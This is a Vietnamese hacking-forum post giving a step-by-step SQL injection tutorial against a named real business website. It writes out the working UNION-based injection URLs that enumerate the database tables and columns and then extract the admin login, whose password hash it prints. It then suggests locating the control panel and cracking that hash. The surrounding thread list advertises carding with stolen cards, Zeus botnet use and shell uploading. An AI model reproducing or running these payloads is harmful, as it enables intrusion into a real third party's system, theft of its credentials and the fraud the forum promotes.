• Downloading from our site will require you to have a paid membership. Upgrade to a Premium Membership from 10$ a month today!

    Dont forget read our Rules! Also anyone caught Sharing this content will be banned. By using this site you are agreeing to our rules so read them. Saying I did not know is simply not an excuse! You have been warned.

KhangSkull

Active Member
Staff member
Moderator
- victim: We are sory for any inconvenience - Chúng tôi xin lỗi vì sự bất tiện này!!!!

__đầu tiên xác định lỗi: thêm ( ' ) vào trước ( .html ) và dấu ( - ) vào trước chữ ( may )
=> ta được: http://www.maychieuchothue.com/ho-tr...diem'.html

=> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-may-chieu-cong-nghe-lcd-va-dlp-uu-nhuoc-diem''' at line 3

__ xác định số column: http://www.maychieuchothue.com/ho-tr...-uu-nhuoc-diem' order by 3-- -.html

* chú ý: không có cái này không được nhé ( -- - )
=> Unknown column '3' in 'order clause'
http://www.maychieuchothue.com/ho-tr...-uu-nhuoc-diem' order by 2-- -.html

=>> không lỗi, vậy nó có 2 column
chỉ có 2 column thôi nên bỏ qua bước xem nó lỗi ở table nào nhé ! ở đây nó lỗi ở số 2

___xác định verseion: http://www.maychieuchothue.com/ho-tr...-uu-nhuoc-diem' union select 1,@@version-- -.html

=> ta đc: 5.5.8
__tiếp theo mình sẽ get table:
http://www.maychieuchothue.com/ho-tr...-uu-nhuoc-diem' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -.html

=> ta được: chungtoi,gioithieu,hotro,loaisb,loaisp,sanpham,sid ebar,user,yahoo

tới đây mình tập trung vào table: user

__ get column từ table user:
http://www.maychieuchothue.com/ho-tr...-uu-nhuoc-diem' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x75736572-- -.html

***: 75736572 đây chữ user sau khi chuyển sang dạng hex, bắt buộc phải làm cái này !

=> ta được 1 đóng như thê này:
id,name,username,password,thuTu,id,name,username,p assword,thuTu,username,password,username,password, userid,usergroupid,membergroupids,displaygroupid,u sername,password,passworddate,email,styleid,parent email,homepage,icq,aim,yahoo,msn,skype,showvbcode, showbirthday,usertitle,customtitle,joindate,dayspr une,lastvisit,lastactivity,lastpost,lastpostid,pos ts,reputation,reputationlevelid,timezoneoffset,pmp opup,avatarid,avatarrevision,profilepicrevision,si gpicrevision,options,birthday,birthday_search,maxp osts,startofweek,ipaddress,referrerid,languageid,e mailstamp,threadedmode,autosubscribe,pmtotal,pmunr ead,salt,ipoints,infractions,warnings,infractiongr oupids,infractiongroupid,adminoptions,profilevisit s,friendcount,friendreqcount,vmunreadcount,vmmoder atedcount,socgroupinvitecount,socgroupreqcount,pcu nreadcount,pcmoderatedcount,gmmoderatedcount,asset posthash,fbuserid,fbjoindate,fbname,logintype,fbac cesstoken,newrepcount,post_thanks_user_amount,post _thanks_thanked_posts,post_thanks_thanked_times,to pxtab,topxmenu,topxresul

- các bạn đừng có hoa mắt, chúng ta chỉ tập trung vào: username và password thôi, mấy cái kìa get cũng chỉ đc cái thông báo "not found" chứ chẳng có gì đâu

___ get data:
http://www.maychieuchothue.com/ho-tr...-uu-nhuoc-diem' union select 1,group_concat(username,0x7c,password) from user-- -.html

=> ta được: admin|d9e0c8391e50ab616cd531b5bcb95c7e

việc còn lại là tìm cpanel của admin và crack password, ở đây password này mình không crack được, ai crack được thì crack nhé

tới đây hết nhé, có gì không đúng các bác đóng góp ý kiến nhé, mình cũng newbie thôi
_______End TuT_______

Nguồn : leech
 

Facebook Comments

Similar threads
Thread starter Title Forum Replies Date
Admin Share tut khai thác sql aspx bằng video SQL injection 0
Q Cần mua tut reg domain bằng CCN Hỏi đáp về domain & hosting 2
Admin Share tut bắn reach ads Facebook mới nhất dùng thẻ cứng Tut, tool, mmo 2
Admin Share tut ân hạn Facebook mới nhất 2020 Tut, tool, mmo 2
Admin Tut kháng Ad Breaks bị tắt kiếm tiền thành công Tut, tool, mmo 0
Admin Share một số tut chiến Facebook Ad Breaks theo kinh nghiệm Tut, tool, mmo 0
S [Tut]Basic Hacking - Hacking cơ bản Exploit 0
Smobi Share [Tut] Làm một vật trở nên trong suốt bằng PTS Thiết kế đồ họa 0
Admin Tut reseller domain không die Tut, tool, mmo 1
Admin Share video tut reg domain quốc tế free bằng ccv thực vật Tut, tool, mmo 0
Hero Share TUT Local Full 2012 Tut, tool, mmo 6
Admin [Tut] hack bạn gái cho it Thơ, báo, tạp chí 2
H Tut Hack Card Viettel Số Lượng Ko Giới Hạn Trò chuyện linh tinh 14
Admin Share Tut Spam Facebook Tut, tool, mmo 0
blog4me Share Tổng hợp một số TUT chơi CC Security - Local - Hacking 2
S TUT Vps Free 1 Tháng VPS & Dedicated Server 1
Myshare Share Tut hướng dẫn add site(tên miền) lên google Hosting / Domain 0
Admin Share tut reg domain .vn 2013 - nhanh không nát Tut, tool, mmo 3
Hero [TUT] Reg Domain, VPS, Hosting Đủ Loại Security - Local - Hacking 11
Admin Share tut đâm domain .my free 1-5 year Tut, tool, mmo 2
Admin Share Tut Hosting Pháp Disk 512mb Bw Unlimited Tut, tool, mmo 0
Admin Share tut reg domain bằng ccv, ccn 1-10 years Tut, tool, mmo 2
Admin Share tut ship giầy nhầm nước Tut, tool, mmo 5
V Hướng dẫn [TUT] Gửi email từ localhost bằng Mercury Mail VPS & Dedicated Server 0
V Share [Cash Out] Tut site cash PP&CC về PPVN đang được thịnh hành Hacking 0
V Share [Tut] Fake Ip từ A đến Z Hacking 0
V Share [Tut] Hack site lỗi SQLi với Havij + Up shell - Guan™ Hacking 0
V Share [TUT] sữ dụng Botnet ZEUS chi tiết Hacking 0
K Xin anh em co tut an gift Hacking 0
S [tut] domain .*** free = ccn Hosting & Domain Free 0
J Share [Tut] Fake Ip từ A đến Z Security - Local - Hacking 0
S Share [Shipping Tut] Key KIS 2012, KIS 2013, NIS 2012, MS.... Hacking 1
Admin [Tut] domain yahoo 5 năm Tut, tool, mmo 15
X Share [TUT] Đăng kí domain .me 1 năm miễn phí Hosting & Domain Free 14
Admin Share tut ship nước hoa bằng ccv Tut, tool, mmo 7
Admin [Tut] sql dạng html Tut, tool, mmo 2
V [TUT] VPS Win/Linux UK VPS & Dedicated Server 6
Admin [Tut] Case iPhone+clo Tut, tool, mmo 2
Admin [Tut] reg domain .me miễn phí 100% Tut, tool, mmo 3
V [TUT] quần áo chơi chơi lẤy ccv Tut, tool, mmo 30
V [Tut] Áo phông Nam nữ direct free tax 2 Tut, tool, mmo 2
Admin [Tut] sql bypass 406 cực cơ bản cho newbie Tut, tool, mmo 0
Admin 200 tut của hce Tut, tool, mmo 3
Admin [Tut] cách chọn size để ship đồ Tut, tool, mmo 0
Admin [Tut] bypass admin cpanel Tut, tool, mmo 0
Admin [Video tut] “hack facebook” tut tiếc cho bằng anh bằng em Hacking 0
S tut tạo yahoo bằng số mr.reeon Sử dụng, chia sẻ, hỏi đáp 1
Admin Tut up shell drupal Local attack 0
S TUT reg nick yahoo nhanh chóng Phần mềm 0
Admin [Tut] verify phone call chưa bao giờ đơn giản đến thế Tut, tool, mmo 0

Similar threads

New posts New threads New resources

Back
Top